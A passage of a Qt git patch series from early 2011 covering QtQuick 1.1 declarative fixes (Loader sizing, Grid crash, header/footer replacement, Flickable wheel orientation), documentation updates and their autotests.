QTextDocumentLayout::dynamicPageCount(void) const + ?setWordSelectionEnabled@QTextControl@@QAEX_N@Z @ 12950 NONAME ; void QTextControl::setWordSelectionEnabled(bool) + ?isWordSelectionEnabled@QTextControl@@QBE_NXZ @ 12951 NONAME ; bool QTextControl::isWordSelectionEnabled(void) const diff --git a/src/s60installs/eabi/QtGuiu.def b/src/s60installs/eabi/QtGuiu.def index d552931..564f530 100644 --- a/src/s60installs/eabi/QtGuiu.def +++ b/src/s60installs/eabi/QtGuiu.def @@ -12143,4 +12143,6 @@ EXPORTS _ZNK19QTextDocumentLayout9pageCountEv @ 12142 NONAME _ZTI19QTextDocumentLayout @ 12143 NONAME _ZTV19QTextDocumentLayout @ 12144 NONAME + _ZN12QTextControl23setWordSelectionEnabledEb @ 12145 NONAME + _ZNK12QTextControl22isWordSelectionEnabledEv @ 12146 NONAME -- cgit v0.12 From 501180c6fbed0857126da2bb0ff1f17ee35472c6 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Wed, 2 Feb 2011 11:20:29 +1000 Subject: Make sure we update Loader size if item size changes after creation. Task-number: QTBUG-17114 Reviewed-by: Bea Lam --- src/declarative/graphicsitems/qdeclarativeloader.cpp | 7 ++++++- .../qdeclarativeloader/data/QTBUG_17114.qml | 18 ++++++++++++++++++ .../qdeclarativeloader/tst_qdeclarativeloader.cpp | 13 +++++++++++++ 3 files changed, 37 insertions(+), 1 deletion(-) create mode 100644 tests/auto/declarative/qdeclarativeloader/data/QTBUG_17114.qml diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp index 562ef08..6c1f1be 100644 --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp @@ -59,8 +59,13 @@ QDeclarativeLoaderPrivate::~QDeclarativeLoaderPrivate() void QDeclarativeLoaderPrivate::itemGeometryChanged(QDeclarativeItem *resizeItem, const QRectF &newGeometry, const QRectF &oldGeometry) { - if (resizeItem == item) + if (resizeItem == item) { + if (!updatingSize && newGeometry.width() != oldGeometry.width()) + itemWidthValid = true; + if (!updatingSize && newGeometry.height() != oldGeometry.height()) + itemHeightValid = true; _q_updateSize(false); + } QDeclarativeItemChangeListener::itemGeometryChanged(resizeItem, newGeometry, oldGeometry); } diff --git a/tests/auto/declarative/qdeclarativeloader/data/QTBUG_17114.qml b/tests/auto/declarative/qdeclarativeloader/data/QTBUG_17114.qml new file mode 100644 index 0000000..8a49733 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/QTBUG_17114.qml @@ -0,0 +1,18 @@ +import QtQuick 1.1 + +Rectangle { + property real loaderWidth: loader.width + property real loaderHeight: loader.height + width: 200 + height: 200 + + Loader { + id: loader + sourceComponent: Item { + property real iwidth: 32 + property real iheight: 32 + width: iwidth + height: iheight + } + } +} diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp index 42746e8..f5218c7 100644 --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp @@ -91,6 +91,7 @@ private slots: void creationContext(); void QTBUG_16928(); void implicitSize(); + void QTBUG_17114(); private: QDeclarativeEngine engine; @@ -619,6 +620,18 @@ void tst_QDeclarativeLoader::implicitSize() delete item; } +void tst_QDeclarativeLoader::QTBUG_17114() +{ + QDeclarativeComponent component(&engine, TEST_FILE("QTBUG_17114.qml")); + QDeclarativeItem *item = qobject_cast(component.create()); + QVERIFY(item); + + QCOMPARE(item->property("loaderWidth").toReal(), 32.); + QCOMPARE(item->property("loaderHeight").toReal(), 32.); + + delete item; +} + QTEST_MAIN(tst_QDeclarativeLoader) #include "tst_qdeclarativeloader.moc" -- cgit v0.12 From 634589cdcdeb608352e17007360c5fb7d916a527 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Mon, 31 Jan 2011 16:56:38 +1000 Subject: Improve docs on Item::visible and Item::opacity Task-number: QTBUG-16973 --- src/declarative/graphicsitems/qdeclarativeitem.cpp | 43 +++++++++++++++++----- 1 file changed, 33 insertions(+), 10 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp index e1c138f..ac5d55c 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp @@ -1911,11 +1911,26 @@ void QDeclarativeItem::setClip(bool c) /*! \qmlproperty bool Item::visible - Whether the item is visible. By default this is true. + This property holds whether the item is visible. By default this is true. - \note visible is not linked to actual visibility; if an item - moves off screen, or the opacity changes to 0, this will - not affect the visible property. + Setting this property directly affects the \c visible value of child + items. When set to \c false, the \c visible values of all child items also + become \c false. When set to \c true, the \c visible values of child items + are returned to \c true, unless they have explicitly been set to \c false. + + (Because of this flow-on behavior, using the \c visible property may not + have the intended effect if a property binding should only respond to + explicit property changes. In such cases it may be better to use the + \l opacity property instead.) + + Setting this property to \c false automatically causes \l focus to be set + to \c false, and this item will longer receive mouse and keyboard events. + (In contrast, setting the \l opacity to 0 does not affect the \l focus + property and the receiving of key events.) + + \note This property's value is only affected by changes to this property or + the parent's \c visible property. It does not change, for example, if this + item moves off-screen, or if the \l opacity changes to 0. */ @@ -2289,13 +2304,15 @@ void QDeclarativeItem::setBaselineOffset(qreal offset) /*! \qmlproperty real Item::opacity - The opacity of the item. Opacity is specified as a number between 0 - (fully transparent) and 1 (fully opaque). The default is 1. + This property holds the opacity of the item. Opacity is specified as a + number between 0 (fully transparent) and 1 (fully opaque). The default is 1. - Opacity is an \e inherited attribute. That is, the opacity is - also applied individually to child items. In almost all cases this - is what you want, but in some cases (like the following example) - it may produce undesired results. + When this property is set, the specified opacity is also applied + individually to child items. In almost all cases this is what you want, + but in some cases it may produce undesired results. For example in the + second set of rectangles below, the red rectangle has specified an opacity + of 0.5, which affects the opacity of its blue child rectangle even though + the child has not specified an opacity. \table \row @@ -2330,6 +2347,12 @@ void QDeclarativeItem::setBaselineOffset(qreal offset) } \endqml \endtable + + If an item's opacity is set to 0, the item will no longer receive mouse + events, but will continue to receive key events and will retain the keyboard + \l focus if it has been set. (In contrast, setting the \l visible property + to \c false stops both mouse and keyboard events, and also removes focus + from the item.) */ /*! -- cgit v0.12 From 08a3db6efd9fa48701491f9e8a8070e825a132f5 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Mon, 31 Jan 2011 17:22:06 +1000 Subject: update What's New for QtQuick 1.1 and AnimatedImage docs --- doc/src/declarative/whatsnew.qdoc | 18 ++++++++++++++---- .../graphicsitems/qdeclarativeanimatedimage.cpp | 9 +++++++++ 2 files changed, 23 insertions(+), 4 deletions(-) diff --git a/doc/src/declarative/whatsnew.qdoc b/doc/src/declarative/whatsnew.qdoc index 4b94d51..f4359f9 100644 --- a/doc/src/declarative/whatsnew.qdoc +++ b/doc/src/declarative/whatsnew.qdoc @@ -69,7 +69,7 @@ Added the following properties and methods: \o moveCursorSelection(int pos, SelectionMode mode) to enable selection by word \endlist -\section2 Image and BorderImage +\section2 Image, BorderImage and AnimatedImage Added the following properties: \list @@ -109,21 +109,31 @@ Added the following properties: \section2 Repeater -Added the following methods: +Added the following methods and signal handlers: \list \o onItemAdded() \o onItemRemoved() -\o itemAt() +\o itemAt(int index) \endlist +\section2 Component + +The createObject() method now accepts a map of initial property values for the created object. + \section2 Qt -Added the following properties: +Added the following properties and methods: \list \o application.layoutDirection \o application.active \endlist +\section2 Other changes + +\list +\o Functions can be assigned to properties from JavaScript to create property bindings +\endlist + \section1 Qt 4.7.1 diff --git a/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp b/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp index f62e374..27bb6a2 100644 --- a/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp @@ -87,6 +87,15 @@ QT_BEGIN_NAMESPACE */ /*! + \qmlproperty bool AnimatedImage::cache + \since Quick 1.1 + + Specifies whether the image should be cached. The default value is + true. Setting \a cache to false is useful when dealing with large images, + to make sure that they aren't cached at the expense of small 'ui element' images. +*/ + +/*! \qmlproperty bool AnimatedImage::mirror \since Quick 1.1 -- cgit v0.12 From 0ee4b2f32a539ee5dc1c08a838f6584ca9d896d4 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Tue, 1 Feb 2011 16:10:01 +1000 Subject: Add initial size to ListView in FolderListModel example Plus other minor doc changes --- doc/src/examples/qml-folderlistmodel.qdoc | 7 ++++++- doc/src/snippets/declarative/folderlistmodel.qml | 12 ++++++++---- 2 files changed, 14 insertions(+), 5 deletions(-) diff --git a/doc/src/examples/qml-folderlistmodel.qdoc b/doc/src/examples/qml-folderlistmodel.qdoc index c9d248e..0a01ce0 100644 --- a/doc/src/examples/qml-folderlistmodel.qdoc +++ b/doc/src/examples/qml-folderlistmodel.qdoc @@ -41,10 +41,15 @@ making the model available to QML. \section1 Usage from QML -The type we are creating can be used from QML like this: +The FolderListModel can be used from QML like this: \snippet doc/src/snippets/declarative/folderlistmodel.qml 0 +This displays a list of all subfolders and QML files in the current folder. + +The FolderListModel \c folder property can be set to change the folder that +is currently displayed. + \section1 Defining the Model We are subclassing QAbstractListModel which will allow us to give data to QML and diff --git a/doc/src/snippets/declarative/folderlistmodel.qml b/doc/src/snippets/declarative/folderlistmodel.qml index 3bddefb..8aeb72c 100644 --- a/doc/src/snippets/declarative/folderlistmodel.qml +++ b/doc/src/snippets/declarative/folderlistmodel.qml @@ -43,15 +43,19 @@ import QtQuick 1.0 import Qt.labs.folderlistmodel 1.0 ListView { + width: 200; height: 400 + FolderListModel { - id: foldermodel + id: folderModel nameFilters: ["*.qml"] } + Component { - id: filedelegate + id: fileDelegate Text { text: fileName } } - model: foldermodel - delegate: filedelegate + + model: folderModel + delegate: fileDelegate } //![0] -- cgit v0.12 From a3010164fd904f4efe2dadb3df699004edaabd95 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Tue, 1 Feb 2011 16:20:27 +1000 Subject: Move Qt.application docs into Qt global object page Previously it was documented as a separate 'Application' element Reviewed-by: Martin Jones --- doc/src/declarative/qmlviewer.qdoc | 3 ++ doc/src/snippets/declarative/application.qml | 14 +++--- src/declarative/qml/qdeclarativeengine.cpp | 60 ++++++++++++++++++++++-- src/declarative/util/qdeclarativeapplication.cpp | 53 ++------------------- 4 files changed, 69 insertions(+), 61 deletions(-) diff --git a/doc/src/declarative/qmlviewer.qdoc b/doc/src/declarative/qmlviewer.qdoc index cfb762c..585b402 100644 --- a/doc/src/declarative/qmlviewer.qdoc +++ b/doc/src/declarative/qmlviewer.qdoc @@ -192,6 +192,9 @@ Rectangle { } \endqml +\note Since Qt Quick 1.1 this information is accessible outside of the QML Viewer, +through the \c active property of the \l {QML:Qt::application}{Qt.application} object. + \row \o \c runtime.orientation diff --git a/doc/src/snippets/declarative/application.qml b/doc/src/snippets/declarative/application.qml index 2820ff2..06f83f2 100644 --- a/doc/src/snippets/declarative/application.qml +++ b/doc/src/snippets/declarative/application.qml @@ -42,12 +42,12 @@ import QtQuick 1.1 Rectangle { - width: 300; height: 55 - color: Qt.application.active ? "white" : "lightgray" - Text { - text: "Application " + (Qt.application.active ? "active" : "inactive") - opacity: Qt.application.active ? 1.0 : 0.5 - anchors.centerIn: parent - } + width: 300; height: 55 + color: Qt.application.active ? "white" : "lightgray" + Text { + text: "Application " + (Qt.application.active ? "active" : "inactive") + opacity: Qt.application.active ? 1.0 : 0.5 + anchors.centerIn: parent + } } //! [document] diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index e3be599..890f500 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -204,8 +204,9 @@ void QDeclarativeEnginePrivate::defineModule() \brief The \c Qt object provides useful enums and functions from Qt, for use in all QML files. -The \c Qt object is not a QML element; it cannot be instantiated. It is a global object -with enums and functions. To use it, call the members of the global \c Qt object directly. +The \c Qt object is a global object with utility functions, properties and enums. + +It is not instantiable; to use it, call the members of the global \c Qt object directly. For example: \qml @@ -220,8 +221,8 @@ Text { \section1 Enums -The Qt object contains enums that declared into Qt's Meta-Object System. For example, you can access -the \c Leftbutton member of the \c Qt::MouseButton enum with \c Qt.LeftButton. +The Qt object contains the enums available in the \l {Qt Namespace}. For example, you can access +the \l Qt::LeftButton and \l Qt::RightButton enum values as \c Qt.LeftButton and \c Qt.RightButton. \section1 Types @@ -263,6 +264,57 @@ of their use. \endlist */ + +/*! + \qmlproperty object QML:Qt::application + \since QtQuick 1.1 + + The \c application object provides access to global application state + properties shared by many QML components. + + Its properties are: + + \table + \row + \o \c application.active + \o + This read-only property indicates whether the application is the top-most and focused + application, and the user is able to interact with the application. The property + is false when the application is in the background, the device keylock or screen + saver is active, the screen backlight is turned off, or the global system dialog + is being displayed on top of the application. It can be used for stopping and + pausing animations, timers and active processing of data in order to save device + battery power and free device memory and processor load when the application is not + active. + + \row + \o \c application.layoutDirection + \o + This read-only property can be used to query the default layout direction of the + application. On system start-up, the default layout direction depends on the + application's language. The property has a value of \c Qt.RightToLeft in locales + where text and graphic elements are read from right to left, and \c Qt.LeftToRight + where the reading direction flows from left to right. You can bind to this + property to customize your application layouts to support both layout directions. + + Possible values are: + + \list + \o Qt.LeftToRight - Text and graphics elements should be positioned + from left to right. + \o Qt.RightToLeft - Text and graphics elements should be positioned + from right to left. + \endlist + \endtable + + The following example uses the \c application object to indicate + whether the application is currently active: + + \snippet doc/src/snippets/declarative/application.qml document + +*/ + + /*! \qmlmethod object Qt::include(string url, jsobject callback) diff --git a/src/declarative/util/qdeclarativeapplication.cpp b/src/declarative/util/qdeclarativeapplication.cpp index 7ecce1e..e0f6df2 100644 --- a/src/declarative/util/qdeclarativeapplication.cpp +++ b/src/declarative/util/qdeclarativeapplication.cpp @@ -55,22 +55,9 @@ public: Qt::LayoutDirection layoutDirection; }; -/*! - \qmlclass Application QDeclarativeApplication - \since QtQuick 1.1 - \ingroup qml-utility-elements - \brief The Application element provides access to global application - state properties shared by many QML components. - - These properties include application activity property \c active, - and default layout direction property \c layoutDirection. - - \section1 Example Usage - - The following example shows the simplest usage of the Application element. - - \snippet doc/src/snippets/declarative/application.qml document - +/* + This object and its properties are documented as part of the Qt object, + in qdeclarativengine.cpp */ QDeclarativeApplication::QDeclarativeApplication(QObject *parent) : QObject(*new QDeclarativeApplicationPrivate(), parent) @@ -83,46 +70,12 @@ QDeclarativeApplication::~QDeclarativeApplication() { } -/*! - \qmlproperty bool Application::active - - This property indicates whether the application is the top-most and focused - application, and user is able to interact with the application. The property - is false when the application is on the background, device keylock or screen - saver is active, the screen backlight is turned off, or global system dialog - is being displayed on top of the application. It can be used for stopping and - pausing animations, timers, active processing of data to save device battery - and free device memory and processor load when the application is not active. - This property is readonly. - -*/ bool QDeclarativeApplication::active() const { Q_D(const QDeclarativeApplication); return d->active; } -/*! - \qmlproperty enumeration Application::layoutDirection - - This property can be used to query the default layout direction of the - application. On system start-up, the default layout direction depends on the - application's language. The property has a value Qt.RightToLeft in locales - where text and graphic elements are read from right to left, and Qt.LeftToRight - where the reading direction flows from left to right. You can bind to the - property to customize your application layouts to support both layout - directions. This property is readonly. - - Possible values are: - - \list - \o Qt.LeftToRight - Text and graphics elements should be positioned - from left to right. - \o Qt.RightToLeft - Text and graphics elements should be positioned - from right to left. - \endlist - -*/ Qt::LayoutDirection QDeclarativeApplication::layoutDirection() const { Q_D(const QDeclarativeApplication); -- cgit v0.12 From 49df52abc004419f35bb6b508fb681c028a7c679 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Wed, 2 Feb 2011 13:20:11 +1000 Subject: Avoid index-out-of bounds related crash in Grid Task-number: QTBUG-16959 Reviewed-by: Martin Jones --- .../graphicsitems/qdeclarativepositioners.cpp | 2 +- .../qdeclarativepositioners/data/repeatertest.qml | 20 +++++++++++++++++++- 2 files changed, 20 insertions(+), 2 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp index 9450647..4560d32 100644 --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp @@ -939,7 +939,7 @@ void QDeclarativeGrid::doPositioning(QSizeF *contentSize) if (i==0) maxColWidth << 0; - if (childIndex == positionedItems.count()) + if (childIndex == visibleItems.count()) break; const PositionedItem &child = visibleItems.at(childIndex++); diff --git a/tests/auto/declarative/qdeclarativepositioners/data/repeatertest.qml b/tests/auto/declarative/qdeclarativepositioners/data/repeatertest.qml index 1cba598..f93ce67 100644 --- a/tests/auto/declarative/qdeclarativepositioners/data/repeatertest.qml +++ b/tests/auto/declarative/qdeclarativepositioners/data/repeatertest.qml @@ -12,9 +12,27 @@ Item { height: 50 z: {if(index == 0){2;}else if(index == 1){1;} else{3;}} objectName: {if(index == 0){"one";}else if(index == 1){"two";} else{"three";}} - } } } } + + //This crashed once (QTBUG-16959) because the repeater ended up on the end of the list + //If this grid just instantiates without crashing, then it has not regressed. + Grid { + id: grid + rows: 2 + flow: Grid.TopToBottom + + Repeater { + model: 13 + Rectangle { + color: "goldenrod" + width: 100 + height: 100 + radius: 10 + border.width: 1 + } + } + } } -- cgit v0.12 From 13d59acef59952e07d98c2947c25da33418c2465 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Wed, 2 Feb 2011 14:01:04 +1000 Subject: Changing header or footer failed to delete the previous. Also ensure that the view is repositioned if the change of header results in the view being out of bounds. Task-number: QTBUG-16522 Reviewed-by: Michael Brasser --- .../graphicsitems/qdeclarativegridview.cpp | 8 ++++++ .../graphicsitems/qdeclarativelistview.cpp | 8 ++++++ .../qdeclarativegridview/data/footer.qml | 8 ++++++ .../qdeclarativegridview/data/header.qml | 8 ++++++ .../tst_qdeclarativegridview.cpp | 30 ++++++++++++++++++++++ .../qdeclarativelistview/data/footer.qml | 8 ++++++ .../qdeclarativelistview/data/header.qml | 9 ++++++- .../tst_qdeclarativelistview.cpp | 30 ++++++++++++++++++++++ 8 files changed, 108 insertions(+), 1 deletion(-) diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index 6a6ff64..9aade98 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -1779,6 +1779,9 @@ void QDeclarativeGridView::setFooter(QDeclarativeComponent *footer) Q_D(QDeclarativeGridView); if (d->footerComponent != footer) { if (d->footer) { + if (scene()) + scene()->removeItem(d->footer->item); + d->footer->item->deleteLater(); delete d->footer; d->footer = 0; } @@ -1786,6 +1789,7 @@ void QDeclarativeGridView::setFooter(QDeclarativeComponent *footer) if (isComponentComplete()) { d->updateFooter(); d->updateGrid(); + d->fixupPosition(); } emit footerChanged(); } @@ -1811,6 +1815,9 @@ void QDeclarativeGridView::setHeader(QDeclarativeComponent *header) Q_D(QDeclarativeGridView); if (d->headerComponent != header) { if (d->header) { + if (scene()) + scene()->removeItem(d->header->item); + d->header->item->deleteLater(); delete d->header; d->header = 0; } @@ -1819,6 +1826,7 @@ void QDeclarativeGridView::setHeader(QDeclarativeComponent *header) d->updateHeader(); d->updateFooter(); d->updateGrid(); + d->fixupPosition(); } emit headerChanged(); } diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index cbc4311..075c3af 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -2232,6 +2232,9 @@ void QDeclarativeListView::setFooter(QDeclarativeComponent *footer) Q_D(QDeclarativeListView); if (d->footerComponent != footer) { if (d->footer) { + if (scene()) + scene()->removeItem(d->footer->item); + d->footer->item->deleteLater(); delete d->footer; d->footer = 0; } @@ -2241,6 +2244,7 @@ void QDeclarativeListView::setFooter(QDeclarativeComponent *footer) if (isComponentComplete()) { d->updateFooter(); d->updateViewport(); + d->fixupPosition(); } emit footerChanged(); } @@ -2266,6 +2270,9 @@ void QDeclarativeListView::setHeader(QDeclarativeComponent *header) Q_D(QDeclarativeListView); if (d->headerComponent != header) { if (d->header) { + if (scene()) + scene()->removeItem(d->header->item); + d->header->item->deleteLater(); delete d->header; d->header = 0; } @@ -2276,6 +2283,7 @@ void QDeclarativeListView::setHeader(QDeclarativeComponent *header) d->updateHeader(); d->updateFooter(); d->updateViewport(); + d->fixupPosition(); } emit headerChanged(); } diff --git a/tests/auto/declarative/qdeclarativegridview/data/footer.qml b/tests/auto/declarative/qdeclarativegridview/data/footer.qml index ad69a25..b41e2ac 100644 --- a/tests/auto/declarative/qdeclarativegridview/data/footer.qml +++ b/tests/auto/declarative/qdeclarativegridview/data/footer.qml @@ -1,6 +1,9 @@ import QtQuick 1.0 Rectangle { + function changeFooter() { + grid.footer = footer2 + } width: 240 height: 320 color: "#ffffff" @@ -29,4 +32,9 @@ Rectangle { delegate: myDelegate footer: Text { objectName: "footer"; text: "Footer"; height: 30 } } + + Component { + id: footer2 + Text { objectName: "footer2"; text: "Footer 2"; height: 20 } + } } diff --git a/tests/auto/declarative/qdeclarativegridview/data/header.qml b/tests/auto/declarative/qdeclarativegridview/data/header.qml index 99baacd..f39da55 100644 --- a/tests/auto/declarative/qdeclarativegridview/data/header.qml +++ b/tests/auto/declarative/qdeclarativegridview/data/header.qml @@ -1,6 +1,9 @@ import QtQuick 1.0 Rectangle { + function changeHeader() { + grid.header = header2 + } width: 240 height: 320 color: "#ffffff" @@ -29,4 +32,9 @@ Rectangle { delegate: myDelegate header: Text { objectName: "header"; text: "Header"; height: 30 } } + + Component { + id: header2 + Text { objectName: "header2"; text: "Header 2"; height: 20 } + } } diff --git a/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp b/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp index a6a8b90..82a1a4a 100644 --- a/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp +++ b/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp @@ -1370,12 +1370,27 @@ void tst_QDeclarativeGridView::footer() QVERIFY(footer); QCOMPARE(footer->y(), 180.0); + QCOMPARE(footer->height(), 30.0); model.removeItem(2); QTRY_COMPARE(footer->y(), 120.0); model.clear(); QTRY_COMPARE(footer->y(), 0.0); + + for (int i = 0; i < 30; i++) + model.addItem("Item" + QString::number(i), ""); + + QMetaObject::invokeMethod(canvas->rootObject(), "changeFooter"); + + footer = findItem(contentItem, "footer"); + QVERIFY(!footer); + footer = findItem(contentItem, "footer2"); + QVERIFY(footer); + + QCOMPARE(footer->y(), 0.0); + QCOMPARE(footer->height(), 20.0); + QCOMPARE(gridview->contentY(), 0.0); } void tst_QDeclarativeGridView::header() @@ -1402,6 +1417,7 @@ void tst_QDeclarativeGridView::header() QVERIFY(header); QCOMPARE(header->y(), 0.0); + QCOMPARE(header->height(), 30.0); QCOMPARE(gridview->contentY(), 0.0); QDeclarativeItem *item = findItem(contentItem, "wrapper", 0); @@ -1410,6 +1426,20 @@ void tst_QDeclarativeGridView::header() model.clear(); QTRY_COMPARE(header->y(), 0.0); + + for (int i = 0; i < 30; i++) + model.addItem("Item" + QString::number(i), ""); + + QMetaObject::invokeMethod(canvas->rootObject(), "changeHeader"); + + header = findItem(contentItem, "header"); + QVERIFY(!header); + header = findItem(contentItem, "header2"); + QVERIFY(header); + + QCOMPARE(header->y(), 0.0); + QCOMPARE(header->height(), 20.0); + QCOMPARE(gridview->contentY(), 0.0); } void tst_QDeclarativeGridView::indexAt() diff --git a/tests/auto/declarative/qdeclarativelistview/data/footer.qml b/tests/auto/declarative/qdeclarativelistview/data/footer.qml index 4cbd33b..33e04f1 100644 --- a/tests/auto/declarative/qdeclarativelistview/data/footer.qml +++ b/tests/auto/declarative/qdeclarativelistview/data/footer.qml @@ -1,6 +1,9 @@ import QtQuick 1.0 Rectangle { + function changeFooter() { + list.footer = footer2 + } width: 240 height: 320 color: "#ffffff" @@ -27,4 +30,9 @@ Rectangle { delegate: myDelegate footer: Text { objectName: "footer"; text: "Footer"; height: 30 } } + + Component { + id: footer2 + Text { objectName: "footer2"; text: "Footer 2"; height: 20 } + } } diff --git a/tests/auto/declarative/qdeclarativelistview/data/header.qml b/tests/auto/declarative/qdeclarativelistview/data/header.qml index 6da996e..38cdd6e 100644 --- a/tests/auto/declarative/qdeclarativelistview/data/header.qml +++ b/tests/auto/declarative/qdeclarativelistview/data/header.qml @@ -1,6 +1,9 @@ import QtQuick 1.0 Rectangle { + function changeHeader() { + list.header = header2 + } width: 240 height: 320 color: "#ffffff" @@ -26,6 +29,10 @@ Rectangle { snapMode: ListView.SnapToItem model: testModel delegate: myDelegate - header: Text { objectName: "header"; text: "Header"; height: 10 } + header: Text { objectName: "header"; text: "Header"; height: 20 } + } + Component { + id: header2 + Text { objectName: "header2"; text: "Header 2"; height: 10 } } } diff --git a/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp index 4fff071..86b68ca 100644 --- a/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp +++ b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp @@ -1736,12 +1736,27 @@ void tst_QDeclarativeListView::header() QDeclarativeText *header = findItem(contentItem, "header"); QVERIFY(header); QCOMPARE(header->y(), 0.0); + QCOMPARE(header->height(), 20.0); QCOMPARE(listview->contentY(), 0.0); model.clear(); QTRY_COMPARE(header->y(), 0.0); + for (int i = 0; i < 30; i++) + model.addItem("Item" + QString::number(i), ""); + + QMetaObject::invokeMethod(canvas->rootObject(), "changeHeader"); + + header = findItem(contentItem, "header"); + QVERIFY(!header); + header = findItem(contentItem, "header2"); + QVERIFY(header); + + QCOMPARE(header->y(), 0.0); + QCOMPARE(header->height(), 10.0); + QCOMPARE(listview->contentY(), 0.0); + delete canvas; } { @@ -1796,6 +1811,7 @@ void tst_QDeclarativeListView::footer() QDeclarativeText *footer = findItem(contentItem, "footer"); QVERIFY(footer); QCOMPARE(footer->y(), 60.0); + QCOMPARE(footer->height(), 30.0); model.removeItem(1); QTRY_COMPARE(footer->y(), 40.0); @@ -1803,6 +1819,20 @@ void tst_QDeclarativeListView::footer() model.clear(); QTRY_COMPARE(footer->y(), 0.0); + for (int i = 0; i < 30; i++) + model.addItem("Item" + QString::number(i), ""); + + QMetaObject::invokeMethod(canvas->rootObject(), "changeFooter"); + + footer = findItem(contentItem, "footer"); + QVERIFY(!footer); + footer = findItem(contentItem, "footer2"); + QVERIFY(footer); + + QCOMPARE(footer->y(), 0.0); + QCOMPARE(footer->height(), 20.0); + QCOMPARE(listview->contentY(), 0.0); + delete canvas; } -- cgit v0.12 From ac5e89a2fd94c4eb45e79e2c19b3ef5e9b240cb9 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 2 Feb 2011 16:06:36 +1000 Subject: Make Flickable's wheel handling more like QAbstractScrollArea. Vertical scrolling should only affect vertical movement, and horizontal scrolling should only affect horizontal movement. Task-number: QTBUG-7369 Reviewed-by: Martin Jones --- .../graphicsitems/qdeclarativeflickable.cpp | 4 +-- .../qdeclarativeflickable/data/wheel.qml | 21 ++++++++++++ .../tst_qdeclarativeflickable.cpp | 39 ++++++++++++++++++++++ 3 files changed, 62 insertions(+), 2 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativeflickable/data/wheel.qml diff --git a/src/declarative/graphicsitems/qdeclarativeflickable.cpp b/src/declarative/graphicsitems/qdeclarativeflickable.cpp index ba5e12c..87578b4 100644 --- a/src/declarative/graphicsitems/qdeclarativeflickable.cpp +++ b/src/declarative/graphicsitems/qdeclarativeflickable.cpp @@ -876,7 +876,7 @@ void QDeclarativeFlickable::wheelEvent(QGraphicsSceneWheelEvent *event) Q_D(QDeclarativeFlickable); if (!d->interactive) { QDeclarativeItem::wheelEvent(event); - } else if (yflick()) { + } else if (yflick() && event->orientation() == Qt::Vertical) { if (event->delta() > 0) d->vData.velocity = qMax(event->delta() - d->vData.smoothVelocity.value(), qreal(250.0)); else @@ -888,7 +888,7 @@ void QDeclarativeFlickable::wheelEvent(QGraphicsSceneWheelEvent *event) movementStarting(); } event->accept(); - } else if (xflick()) { + } else if (xflick() && event->orientation() == Qt::Horizontal) { if (event->delta() > 0) d->hData.velocity = qMax(event->delta() - d->hData.smoothVelocity.value(), qreal(250.0)); else diff --git a/tests/auto/declarative/qdeclarativeflickable/data/wheel.qml b/tests/auto/declarative/qdeclarativeflickable/data/wheel.qml new file mode 100644 index 0000000..6ea81b2 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeflickable/data/wheel.qml @@ -0,0 +1,21 @@ +import QtQuick 1.1 + +Rectangle { + width: 400 + height: 400 + color: "gray" + + Flickable { + id: flick + objectName: "flick" + anchors.fill: parent + contentWidth: 800 + contentHeight: 800 + + Rectangle { + width: flick.contentWidth + height: flick.contentHeight + color: "red" + } + } +} diff --git a/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp b/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp index ae1e99e..f4bec8f 100644 --- a/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp +++ 